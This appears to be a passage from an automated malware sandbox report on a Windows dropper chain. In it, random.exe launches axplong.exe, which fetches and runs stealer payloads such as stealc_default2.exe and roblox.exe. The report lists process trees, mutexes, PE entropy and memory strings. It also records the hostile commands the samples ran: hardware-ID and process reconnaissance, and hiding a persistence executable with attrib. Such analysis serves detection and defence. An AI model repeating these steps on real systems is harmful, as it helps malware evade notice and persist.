Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6049F0	20_2_6C6049F0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6609A0	20_2_6C6609A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C68A9A0	20_2_6C68A9A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6909B0	20_2_6C6909B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C64CA70	20_2_6C64CA70
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C688A30	20_2_6C688A30
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C67EA00	20_2_6C67EA00
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6D6BE0	20_2_6C6D6BE0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C670BA0	20_2_6C670BA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5E8460	20_2_6C5E8460
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C634420	20_2_6C634420
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C65A430	20_2_6C65A430
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6164D0	20_2_6C6164D0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C66A4D0	20_2_6C66A4D0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6FA480	20_2_6C6FA480
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C632560	20_2_6C632560
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C670570	20_2_6C670570
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C718550	20_2_6C718550
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C628540	20_2_6C628540
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6D4540	20_2_6C6D4540
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C69A5E0	20_2_6C69A5E0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C65E5F0	20_2_6C65E5F0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5C45B0	20_2_6C5C45B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C62C650	20_2_6C62C650

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: String function: 00AB7F30 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006C8CD3 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006AD57E appears 78 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006ADEB0 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006AD872 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006AD593 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006A7F30 appears 387 times
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: String function: 006A7870 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: String function: 6C5F3620 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: String function: 6C5F9B10 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: String function: 6C5694D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: String function: 006345C0 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: String function: 6C55CBE8 appears 134 times

Source: _overlapped.pyd.33.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.33.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Monster.exe.35.dr	Static PE information: Number of sections : 12 > 10
Source: roblox[1].exe.19.dr	Static PE information: Number of sections : 12 > 10
Source: roblox.exe.19.dr	Static PE information: Number of sections : 12 > 10
Source: stub.exe.33.dr	Static PE information: Number of sections : 12 > 10

Source: python3.dll.33.dr

Static PE information: No import functions for PE file found

Source: random.exe.6.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random.exe.6.exe	Static PE information: Section: ZLIB complexity 0.9973816416893733
Source: axplong.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9973816416893733
Source: legs[1].exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs[1].exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs.exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs.exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123[1].exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123[1].exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123.exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123.exe.19.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@61/89@15/11

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_6C587030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

20_2_6C587030

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00649600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

20_2_00649600

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00643720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

20_2_00643720

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\SyncRootManager
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5580:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Mutant created: \Sessions\1\BaseNamedObjects\M
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2

Source: C:\Users\user\Desktop\random.exe.6.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Windows\System32\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\random.exe.6.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: stealc_default2.exe, stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: stealc_default2.exe, 00000014.00000003.3115295491.00000000211E4000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000003.3099222913.00000000211C9000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098931975.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3852771482.000000000378F000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3823516238.0000000003777000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3824502636.0000000003759000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3332883748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: random.exe.6.exe	Virustotal: Detection: 56%
Source: random.exe.6.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\random.exe.6.exe

File read: C:\Users\user\Desktop\random.exe.6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\random.exe.6.exe "C:\Users\user\Desktop\random.exe.6.exe"
Source: C:\Users\user\Desktop\random.exe.6.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe "C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe"
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Process created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe "C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe "C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe"
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Users\user\Desktop\random.exe.6.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe "C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe "C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe "C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Process created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
